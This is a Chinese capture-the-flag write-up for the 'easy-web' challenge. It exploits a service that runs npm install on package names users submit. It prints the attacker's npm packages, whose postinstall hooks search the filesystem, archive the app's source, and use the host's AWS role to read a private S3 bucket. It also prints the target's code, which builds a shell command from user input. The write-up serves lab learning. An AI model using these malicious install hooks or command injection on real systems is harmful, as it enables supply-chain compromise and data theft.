<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    easy-web

    知識點:RCE點找尋(預期解),NPM 包特性(非預期解)

    備注:這題做出來之后和出題人 l0ca1 師傅聊了聊,發現是有 RCE 點的,在傳入包名那- -不過到后面我這種蛇皮做法個人覺得反倒還方便些。以下我就寫寫自己的方法吧。

    步驟:

    1、打開靶機,是這樣一個頁面。


    2、看看源碼,是 vue 寫的。

    3、看下 app.js,找出其中的接口。

    4、分析文件,

    看到如下幾個點


    提示 {"npm":["jquery","moment"]} ,其功能為下載 npm包打包之后提供二次下載。

    提示 key 為 abcdefghiklmn123,接口地址 /upload。

    經過觀察,測試,得到該接口的正確用法:


    5、然后參考 https://juejin.im/post/5971aa866fb9a06bb54... 自己來構造一個包,里面不需要有實際內容,主要利用 npm 包 package json 里 script 段的 postinstall 配置,這種攻擊在現實中也出現過。https://www.anquanke.com/post/id/85150

    構建步驟:

    > mkdir glzjintest1
    >cd glzjintest1
    >npm init1

    新建一個 index.js,內容如下

    exports.showMsg = function () {  
        console.log("This is my first module");
    };

    編輯 package.json,

    {
      "name": "glzjintest1",
      "version": "1.0.0",
      "description": "",
      "main": "index.js",
      "scripts": {
        "postinstall": "grep -rn 'sctf' / > result.txt; exit 0"
      },
      "author": "",
      "license": "ISC"
    }

    主要是改 scripts,postinstall 里面為你想執行的命令。這里我主要是想搜搜有沒有 flag。

    然后是推送包到 npmjs,

    > npm login
    > npm publish

    6、然后請求靶機,讓其下載這個包。

    7、我們把返回的 URL 所指向的壓縮包下載下來解壓看看,可以看到我們的命令執行結果。沒找到像 flag 的文件。

    8、似乎 /var/task 是程序所在目錄,打個包下下來看看。

    繼續修改 package.json,版本升級下,推包。

    {
      "name": "glzjintest1",
      "version": "1.0.3",
      "description": "",
      "main": "index.js",
      "scripts": {
        "postinstall": "tar cvzf result.tar.gz /var/task/; exit 0"
      },
      "author": "",
      "license": "ISC"
    }

    然后繼續讓靶機下載咱們這個包。


    解壓 result.tar.gz

    9、審計源碼 index.js

    const koa = require("koa");
    const AWS = require("aws-sdk");
    const bodyparser = require('koa-bodyparser');
    const Router = require('koa-router');
    const async = require("async");
    const archiver = require('archiver');
    const fs = require("fs");
    const cp = require("child_process");
    const mount = require("koa-mount");
    const cfg = {
        "Bucket":"static.l0ca1.xyz",
        "host":"static.l0ca1.xyz",
    }
    
    function getRandomStr(len) {
        var text = "";
        var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
        for (var i = 0; i &lt; len; i++)
            text += possible.charAt(Math.floor(Math.random() * possible.length));
        return text;
    };
    function zip(archive, output, nodeModules) {
        const field_name = getRandomStr(20);
        fs.mkdirSync(`/tmp/${field_name}`);
        archive.pipe(output);
        return new Promise((res, rej) => {
            async.mapLimit(nodeModules, 10, (i, c) => {
                process.chdir(`/tmp/${field_name}`);
                console.log(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`);
                cp.exec(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`, (error, stdout, stderr) => {
                    if (error) {
                        c(null, error);
                    } else {
                        c(null, stdout);
                    }
                });
            }, (error, results) => {
                archive.directory(`/tmp/${field_name}/`, false);
                archive.finalize();
            });
            output.on('close', function () {
                cp.exec(`rm -rf /tmp/${field_name}`, () => {
                    res("");
                });
            });
            archive.on("error", (e) => {
                cp.exec(`rm -rf /tmp/${field_name}`, () => {
                    rej(e);
                });
            });
        });
    }
    
    const s3Parme = {
        // accessKeyId:"xxxxxxxxxxxxxxxx",
        // secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
    }
    var s3 = new AWS.S3(s3Parme);
    const app = new koa();
    const router = new Router();
    app.use(bodyparser());
    app.use(mount('/static',require('koa-static')(require('path').join(__dirname,'./static'))));
    router.get("/", async (ctx) => {
        return new Promise((resolve, reject) => {
            fs.readFile(require('path').join(__dirname, './static/index.html'), (err, data) => {
                if (err) {
                    ctx.throw("系統發生錯誤,請重試");
                    return;
                };
                ctx.type = 'text/html';
                ctx.body = data.toString();
                resolve();
            });
        });
    })
    .post("/login",async(ctx)=>{
        if(!ctx.request.body.email || !ctx.request.body.password){
            ctx.throw(400,"參數錯誤");
            return;
        }
        ctx.body = {isUser:false,message:"用戶名或密碼錯誤"};
        return;
    })
    .post("/upload", async (ctx) => {
        const parme = ctx.request.body;
        const nodeModules = parme.npm;
        const key = parme.key;
        if(typeof key == "undefined" || key!="abcdefghiklmn123"){
            ctx.throw(403,"請求失敗");
            return;
        }
        if (typeof nodeModules == "undefined") {
            ctx.throw(400, "JSON 格式錯誤");
            return;
        }
        const zipFileName = `${getRandomStr(20)}.zip`;
        var output = fs.createWriteStream(`/tmp/${zipFileName}`, { flags: "w" });
        var archive = archiver('zip', {
            zlib: { level: 9 },
        });
        try {
            await zip(archive, output, nodeModules);
        } catch (e) {
            console.log(e);
            ctx.throw(400,"系統發生錯誤,請重試");
            return;
        }
        const zipBuffer = fs.readFileSync(`/tmp/${zipFileName}`);
        const data = await s3.upload({ Bucket: cfg.Bucket, Key: `node_modules/${zipFileName}`, Body: zipBuffer ,ACL:"public-read"}).promise().catch(e=>{
            console.log(e);
            ctx.throw(400,"系統發生錯誤,請重試");
            return;
        });
        ctx.body = {url:`http://${cfg.host}/node_modules/${zipFileName}`};
        cp.execSync(`rm -f /tmp/${zipFileName}`);
        return;
    })
    app.use(router.routes());
    
    if (process.env &amp;&amp; process.env.AWS_REGION) {
        require("dns").setServers(['8.8.8.8','8.8.4.4']);
        const serverless = require('serverless-http');
        module.exports.handler = serverless(app, {
            binary: ['image/*', 'image/png', 'image/jpeg']
        });
    }else{
        app.listen(3000,()=>{
            console.log(`listening 3000......`);
        });
    }

    命令那里我復制到上上級 – -為了不重復下載依賴- -使得包太大。

    index.js 改為如下內容:

    const AWS = require("aws-sdk");
    
    const s3Parme = {
        // accessKeyId:"xxxxxxxxxxxxxxxx",
        // secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
    }
    
    var s3 = new AWS.S3(s3Parme);
    
    // Create the parameters for calling listObjects
    var bucketParams = {
      Bucket : 'static.l0ca1.xyz',
    };
    
    // Call S3 to obtain a list of the objects in the bucket
    s3.listObjects(bucketParams, function(err, data) {
      if (err) {
        console.log("Error", err);
      } else {
        console.log("Success", data);
      }
    });
    
    exports.showMsg = function () {
      console.log("This is my first module");
    };

    讀出 s3 里存的東西,從 serverless 里連接是不需要憑證的。

    然后讓靶機下載這個包。

    解壓,看到開頭有個 flag 文件。

    11、繼續更改 package.json,提升版本。

    {
      "name": "glzjintest1",
      "version": "1.1.0",
      "description": "",
      "main": "index.js",
      "scripts": {
        "postinstall": "cp index.js ../../test.js &amp;&amp; cd ../../ &amp;&amp; node test.js > result.txt; exit 0"
      },
      "author": "",
      "license": "ISC",
      "dependencies": {
        "aws-sdk": "^2.449.0"
      }
    }

    然后修改 index.js,為其添加讀取這個 flag 文件的代碼。

    const AWS = require("aws-sdk");
    
    const s3Parme = {
        // accessKeyId:"xxxxxxxxxxxxxxxx",
        // secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
    }
    
    var s3 = new AWS.S3(s3Parme);
    
    // Create the parameters for calling listObjects
    var bucketParams = {
      Bucket : 'static.l0ca1.xyz',
    };
    
    // Call S3 to obtain a list of the objects in the bucket
    s3.listObjects(bucketParams, function(err, data) {
      if (err) {
        console.log("Error", err);
      } else {
        console.log("Success", data);
      }
    });
    
    var fileParam = {
      Bucket : 'static.l0ca1.xyz',
      Key: 'flaaaaaaaaag/flaaaag.txt'
    };
    
    s3.getObject(fileParam, function(err, data) {
      if (err) console.log(err, err.stack); // an error occurred
      else     console.log(data);           // successful response
    });
    
    exports.showMsg = function () {
      console.log("This is my first module");
    };

    推包,讓靶機下載。

    下載回來,解壓,得到文件內容。

    解碼下就是 flag。

    12、Flag 到手~

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类